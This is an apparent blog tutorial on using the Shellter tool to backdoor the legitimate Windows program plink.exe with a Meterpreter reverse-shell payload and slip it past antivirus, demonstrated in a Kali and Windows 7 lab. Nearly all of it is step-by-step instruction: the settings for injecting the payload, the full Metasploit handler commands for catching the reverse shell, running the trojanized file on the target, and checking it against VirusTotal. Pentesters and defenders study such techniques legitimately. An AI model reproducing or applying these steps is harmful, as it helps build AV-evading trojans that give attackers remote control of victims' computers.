How to Bypass an Anti-Virus on Kali Linux 2017

 Bypass an Anti-Virus

Having trouble getting a Meterpreter shell past that pesky AV? Check out the new Shellter 4.0 shell obfuscation program!
 
The latest version of Shellter for pentesters was revealed at B-Sides Lisbon earlier this month. Updates include increased obfuscation through a custom encoder and polymorphic decoder. Also this version saves a few steps by including the most common Meterpreter shells.
 
Shellter works by taking a legit Windows .exe file, adds the shell code to it and then does a great job of modifying the file for AV bypass. The program’s automatic mode makes the whole process very pain free. In this tutorial I used the latest version of Kali Linux and a Windows 7 Virtual Machine.
So enough talk, let’s see it in action!
 
1. Download and install “shellter” (https://www.shellterproject.com/download/ )
 
**Note: the Kali repos apparently don’t contain the newest 4.0 version yet. To get the latest, instead of using ‘apt-get install shellter’, just download and extract the ZIP file to the “/etc/share” folder.
 
2. Grab “plink.exe” from Kali’s ‘usr/share/windows-binaries’ directory and copy it into the Shellter directory.
 
3. Start Shellter – ‘shellter’ from the terminal or use ‘wineconsole shelter’ from ‘/etc/share/shellter’ if you manually installed.
 
How to Bypass an Anti-Virus on Kali Linux 2017
How to Bypass an Anti-Virus on Kali Linux 2017 

4. Choose ‘A’ for Automatic Mode
5. At the PE Target Prompt, enter “plink.exe
6. When prompted for Payloads select “L” and then “1”


7. Next, enter the IP address of your Kali system (mine is 192.168.1.39)
8. And the port to use (I used 5555)


Shellter will obfuscate the code and crunch for a while. Then you should see:

Bypass an Anti-Virus

Success!

9. Now we need to start a listener service on the Kali system using the same settings from above:
 
• start Metasploit (‘msfconsole’ in a terminal)
• use exploit/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set lhost 192.168.1.39
• set lport 5555
• exploit
 
10. Now that Kali is waiting for a connection. Copy our evil plink.exe command to the Windows 7 system and run it:


And we have a shell!
Bypass an Anti-Virus
Compare the size of the backdoored exe to the original one. They are the exact same size! Now upload the backdoored exe to Virus total and scan it for malicious content:

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